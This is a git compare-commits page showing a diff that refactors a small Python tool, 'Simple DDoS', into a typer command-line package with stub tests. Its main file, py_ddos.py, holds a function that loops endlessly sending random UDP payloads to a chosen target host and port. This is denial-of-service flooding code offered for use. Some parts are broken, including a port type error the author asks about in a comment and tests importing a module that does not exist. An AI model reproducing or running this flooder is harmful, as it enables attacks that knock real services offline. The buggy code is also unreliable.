Compare commits
5 commits
main
...
refactor/t
Author | SHA1 | Date | |
---|---|---|---|
|
1925178f20 | ||
|
68cc8479f6 | ||
|
846b86fafd | ||
|
45322152ee | ||
|
b0c14895b4 |
7 changed files with 60 additions and 44 deletions
19
main.py
19
main.py
|
@ -1,19 +0,0 @@
|
||||||
#!/usr/bin/python
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
|
|
||||||
from src import ddos
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
parser = argparse.ArgumentParser(description="DDoS Proof of concept")
|
|
||||||
parser.add_argument('-t', '--target', help="Attack target IP address")
|
|
||||||
parser.add_argument('-p', '--port', help="Port to attack")
|
|
||||||
parser.add_argument('-i', '--ipaddress', help="Fake ip address")
|
|
||||||
|
|
||||||
args = parser.parse_args(ddos)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
4
requirements.txt
Normal file
4
requirements.txt
Normal file
|
@ -0,0 +1,4 @@
|
||||||
|
typer==0.3.2
|
||||||
|
colorama==0.4.4
|
||||||
|
shellingham==1.4.0
|
||||||
|
pytest==6.2.4
|
5
simple_ddos/__init__.py
Normal file
5
simple_ddos/__init__.py
Normal file
|
@ -0,0 +1,5 @@
|
||||||
|
"""Top-level package for Simple DDoS."""
|
||||||
|
# simple_ddos/__init__.py
|
||||||
|
|
||||||
|
__app_name__ = 'simple_ddos'
|
||||||
|
__version__ = "0.1.0"
|
|
@ -1,6 +1,14 @@
|
||||||
|
"""Top-level package for Simple DDoS."""
|
||||||
|
# simple_ddos/py_ddos.py
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import platform
|
import platform
|
||||||
import random
|
import random
|
||||||
|
import ipaddress
|
||||||
|
from ipaddress import IPv4Address
|
||||||
|
|
||||||
|
import typer
|
||||||
|
|
||||||
# import threading
|
# import threading
|
||||||
import socket
|
import socket
|
||||||
|
@ -11,12 +19,6 @@ import socket
|
||||||
# TODO: Get plenty of water and sleep
|
# TODO: Get plenty of water and sleep
|
||||||
|
|
||||||
|
|
||||||
# ANSI colors with proper escape
|
|
||||||
R = '\033[31m'
|
|
||||||
G = '\033[32m'
|
|
||||||
C = '\033[36m'
|
|
||||||
W = '\033[0m'
|
|
||||||
|
|
||||||
# v1: just create ddos script
|
# v1: just create ddos script
|
||||||
|
|
||||||
# Instead of using SOCK_STREAM for TCP connections
|
# Instead of using SOCK_STREAM for TCP connections
|
||||||
|
@ -35,7 +37,6 @@ bytes1 = random.randbytes(2000)
|
||||||
bytes2 = random.randbytes(2900)
|
bytes2 = random.randbytes(2900)
|
||||||
system = platform.uname().system
|
system = platform.uname().system
|
||||||
|
|
||||||
|
|
||||||
# this is better system = getattr(platform.uname(), "system")
|
# this is better system = getattr(platform.uname(), "system")
|
||||||
# instead of hardcoding a specific index
|
# instead of hardcoding a specific index
|
||||||
# because if something in the l
|
# because if something in the l
|
||||||
|
@ -48,48 +49,51 @@ def check_os():
|
||||||
os.system("clear")
|
os.system("clear")
|
||||||
|
|
||||||
|
|
||||||
class DDoS:
|
|
||||||
pass
|
|
||||||
|
|
||||||
def __init__(self, target, port, ip):
|
|
||||||
self.target = target
|
|
||||||
self.port = port
|
|
||||||
self.ip = ip
|
|
||||||
|
|
||||||
|
|
||||||
# call function to check what system is used
|
# call function to check what system is used
|
||||||
|
|
||||||
|
|
||||||
# Why use a try
|
# Why use a try
|
||||||
|
|
||||||
def ddos(target, port, ipaddress):
|
def ddos(target, port, ip: bool = False):
|
||||||
sent = 0
|
sent = 0
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
sock.sendto(bytes1, (target, port))
|
net = socket.gethostbyname(target)
|
||||||
|
sock.sendto(bytes1, (net, port))
|
||||||
sent = sent + 1
|
sent = sent + 1
|
||||||
|
|
||||||
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
|
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
|
||||||
while True:
|
while True:
|
||||||
sock.sendto(bytes2, (target, port))
|
net2 = socket.gethostbyname(target)
|
||||||
|
sock.sendto(bytes2, (net2, port))
|
||||||
sent = sent + 1
|
sent = sent + 1
|
||||||
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
|
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
|
||||||
|
|
||||||
# Break out of infinite loop
|
# Break out of infinite loop
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W)
|
print('\n' + 'Keyboard Interrupt. Terminating session...')
|
||||||
|
|
||||||
except socket.gaierror:
|
except socket.gaierror:
|
||||||
print(R + '[-] ' + C + 'Unknown address.')
|
print('Unknown address.')
|
||||||
print(R + '[-] ' + C + 'Please input the correct ip address.')
|
print('Please input the correct ip address.')
|
||||||
|
|
||||||
except NameError:
|
except NameError:
|
||||||
print(R + '[-] ' + C + 'Unknown address.')
|
print('Unknown address.')
|
||||||
print(R + '[-] ' + C + 'Please input the correct ip address.')
|
print('Please input the correct ip address.')
|
||||||
|
|
||||||
# For introducing to the script later
|
# For introducing to the script later
|
||||||
|
|
||||||
# for i in range(150):
|
# for i in range(150):
|
||||||
# thread = threading.Thread(target=ddos)
|
# thread = threading.Thread(target=ddos)
|
||||||
# thread.start()
|
# thread.start()
|
||||||
|
|
||||||
|
# This is the line I use to run this script:
|
||||||
|
# python py_ddos.py "192.168.xx.xxx" "port"
|
||||||
|
# This is the Error:
|
||||||
|
# sock.sendto(bytes1, (net, port))
|
||||||
|
# TypeError: 'str' object cannot be interpreted as an integer
|
||||||
|
# What am I missing here?
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
typer.run(ddos)
|
0
simple_ddos/tests/__init__.py
Normal file
0
simple_ddos/tests/__init__.py
Normal file
10
simple_ddos/tests/test_running_ddos.py
Normal file
10
simple_ddos/tests/test_running_ddos.py
Normal file
|
@ -0,0 +1,10 @@
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
|
||||||
|
class MyTestCase(unittest.TestCase):
|
||||||
|
def test_something(self):
|
||||||
|
self.assertEqual(True, False) # add assertion here
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
12
simple_ddos/tests/test_simpleDDoS_cli.py
Normal file
12
simple_ddos/tests/test_simpleDDoS_cli.py
Normal file
|
@ -0,0 +1,12 @@
|
||||||
|
# tests/test_rptodo.py
|
||||||
|
|
||||||
|
from typer.testing import CliRunner
|
||||||
|
|
||||||
|
from simpleDDoS import __app_name__, __version__, cli
|
||||||
|
|
||||||
|
runner = CliRunner()
|
||||||
|
|
||||||
|
def test_version():
|
||||||
|
result = runner.invoke(cli.app, ["--version"])
|
||||||
|
assert result.exit_code == 0
|
||||||
|
assert f"{__app_name__} v{__version__}\n" in result.stdout
|
Loading…
Reference in a new issue